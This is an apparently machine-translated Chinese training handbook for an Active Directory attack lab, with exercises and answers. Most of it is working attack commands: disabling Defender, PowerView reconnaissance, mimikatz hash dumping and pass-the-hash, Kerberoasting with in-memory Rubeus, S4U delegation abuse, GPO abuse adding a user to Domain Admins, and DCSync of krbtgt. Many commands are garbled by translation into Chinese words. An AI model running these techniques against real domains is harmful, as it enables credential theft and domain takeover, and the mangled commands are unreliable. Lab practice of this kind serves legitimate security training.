Active-Directory-Security-101 手册
后置知识
刚入门的小伙伴京东或者淘宝买这本书可以去看看
Windows Server 2012 R2系统配置指南_戴有伟编着
文章是根据https://github.com/cfalta/adse c改编的。
环境搭建
https://github.com/cfalta/adsec/tree/main/lab-setup
- DC-Windows 2019
- 用户杰克-Windows 2019
- SqlServer-Windows 2019
配置域控
新增一个网卡,三个虚拟机使用这个网卡设置指定ip我是直接复制虚拟机,需要更改mac地址和sid还需要更改sid可以使用系统内置的工具sysprep或者另外一个newsid工具https:// newsid.softag.com/download在三台机器上以管理员权限执行以下命令。
- 关闭防火墙
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
- 关闭Windows Defender
卸载-WindowsFeature -Name Windows-Defender
下载自动化脚本辅助安装
https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts
运行createdomain脚本,自己修改里面的域名称。
这里应该不能一步完成
先执行
安装-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
重启之后继续执行。重启后执行这个文件功能就是根据json文件去自动添加用户和组等等。
配置域内机
在两台成员机器上使用以下两个域账号注册
约翰·多伊 | 约翰 | P@ssw0rd |
---|---|---|
李小龙 | 流血 | 铁拳真棒! |
攻击机器准备
用john登录user1这台机器,当做点,再分配一张网卡,让他出网。
默认工具包下载地址
https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools
猎犬安装及配置
信息收集
导入电源模块
cd C: \a ttacker-tools
cat -raw " .\PowerView.ps1 " | 交换器
获取当前域的基本信息和域控位置
获取域
获取域控制器
获取域计算机
获取域用户
过滤出域管出来
获取域用户| ? { $_ .memberof -like " *域管理员* " }
获取域用户| ? { $_ .memberof -like " *域管理员* " } | 选择 相同的帐户名
课后习题
参考答案我会选择最后面哦
- 域里有多少台计算机以及它们在什么上面运行?
- 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。
- 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
- 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?
- 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。
NTLM的利用
- 模仿
- psexec
需要管理员权限,使用本地管理员用户登录
特权::调试
令牌::提升
lsadump::sam
获得到管理员哈希
7dfa0531d73101ca080c7379a9bff1c7 pth 攻击
sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab
psexec.exe \\ user2 cmd
课后习题
- mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
- 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
- 如何解决 PTH 问题,请讲清楚原因。
- 是否有可能(可能会)完全不是NTLM?解释你的理由。
Kerberos-烘焙
预习资料网络——AS-REP Roasting
加载插件
cd C: \a ttacker-tools
猫生的。\ PowerView.ps1 | 交换器
猫生的。\I nvoke-Rubeus.ps1 | 交换器
查询SPN,获得服务用户
获取域用户-SPN | 选择 samaccountname、 description、pwdlastset、serviceprincipalname
Rubeus 有一个统计 kerberos 数据的功能
Invoke-Rubeus -Command " kerberoast /stats "
获取目标账户的TGS
Invoke-Rubeus -Command " kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt "
这里的脚本是base64之后通过powershell内存加载
函数 调用-Rubeus([string]$Command)
{
$Message = " base64 " ;
$Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String( $Message ))
[Rubeus.Program]::Main( $Command .Split( " " ))
}
破解TGS
. \j ohn.exe .. \. . \k rb5tgs.txt --wordlist=.. \. . \e xample.dict --rules=passphrase-rule2
课后习题
- 描述一下您认为最好的缓解技术,并解释其原因。
- 还有一个用户会受到 ASREP 的影响,请找出来。
- 解释一下TGS vs. ASREP烘焙
Kerberos(委托)
Get-DomainUser -TrustedToAuth
视委派的目标
Get-DomainUser -TrustedToAuth | 选择 -ExpandProperty msds-allowedtodelegateto
Invoke-Rubeus -Command " hash /password:Amsterdam2015 /domain:wing.lab /user:service1 "
Rubeus 允许在新的登录会话中启动 powershell。只有在这个时候我们即将的票证会话中,不会干扰用户john 已经的kerboers 票证。使用s4u 请求一个TGS 模拟域管理用户Bruce(bwillis) )攻击user1。我们请求3个不同服务的票证CIFS将用于SMB访问HOST/ RPCS for WMI
调用-鲁伯-Command “ S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab / PTT ”
调用-鲁伯-Command “ S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser: bwillis /msdsspn:host/user1.wing.lab / PTT “
调用-鲁伯-Command ” S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab / PTT “
查看检查的报告自己前面
我设置错了,委派的目标应该设置成user2,user1 是,但都一样。
ls \\ user1.wing.lab \C $
通过wmi控制user1
Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com
课后习题
- 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组
- 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用”
ACL攻击
信息收集
猫生的。\S harpound.ps1 | 交换器
Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
- CollectionMethod Dc只表示仅从域控收集数据。从opsec的角度来看,这样比较好,因为是流量正常。
- Stealth单线程启动。速度较慢,但安全。
- PrettyJson 格式化.json文件。
- NoSaveCache 不保存保存文件。
启动血犬下载社区版的neo4j https://neo4j.com/download-center/#releases
❯ jdk11
❯ ./neo4j 开始
先把service1标记为已陷陷点这里点击这里用户对域控的组策略有可访问权限,通过组策略利用,攻击DC需要先以service1的身份登录
runas /user:wing.lab \s ervice1 powershell
. \S harpGPOAbuse.exe --AddComputerTask --TaskName " Update " --Author contoso \a dminuser --Command " cmd.exe " --Arguments ' /c net group \"Domain Admins\" john /ADD ' --GPOName “默认域控制器策略” --force
写完以后,等管理员更新组策略才有可能触发。
手工弄弄。提权成功登陆到域控。
课后习题
权限维持
权限维持的东西比较多
- 金银笔记本
- 后门
- 等等等等
一般DC权限就先执行
lsadump::dcsync /user:krbtgt
课后习题
参考答案
信息收集
powerview3.0 技巧
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
- 域里有多少台计算机以及它们在什么上面运行?
- 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。
- 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
Get-DomainGroupMember -Identity “域管理员” -Recurse
- 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?
- 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。
获取域用户-SPN | 选择 serviceprincipalname,userprincipalname,pwdlastset,lastlogon
NTLM
- mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
privilege::debug - 提升为管理员权限
token::elevate - 奖励奖励,获得其他用户的奖励系统权限
- 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
lsadump::dcsync /domain:wing.lab /user:bruce
转储所有数据
lsadump::dcsync /domain:wing.lab /all /csv
- 如何解决 PTH 问题,请讲清楚原因。
- 打上打kb2871997禁止并且SID=500的管理员用户
- 监控日志
- 是否有可能(可能会)完全不是NTLM?解释你的理由。
- 审查收到的 NTLM 调查:允许对所有帐户的审查
- 仅发送NTLMv2响应。
Kerberos(烘焙)
- 描述一下您认为最好的缓解技术,并解释其原因。
- 禁止用户开启Do not require Kerberos preauthentication
- 禁止弱口令
- 还有一个用户会受到 ASREP 的影响,请找出来。
Get-DomainUser -PreauthNotRequired -Verbose
- 解释一下TGS vs. ASREP烘焙
https://www.4hou.com/posts/YVyM
Kerberos(委托)
- 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组:
- psexec
wmic /node:user1 process call create " cmd.exe /c net localgroup Administrators john /add "
- 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用?”
访问控制列表
acl 攻击有哪些利用工具?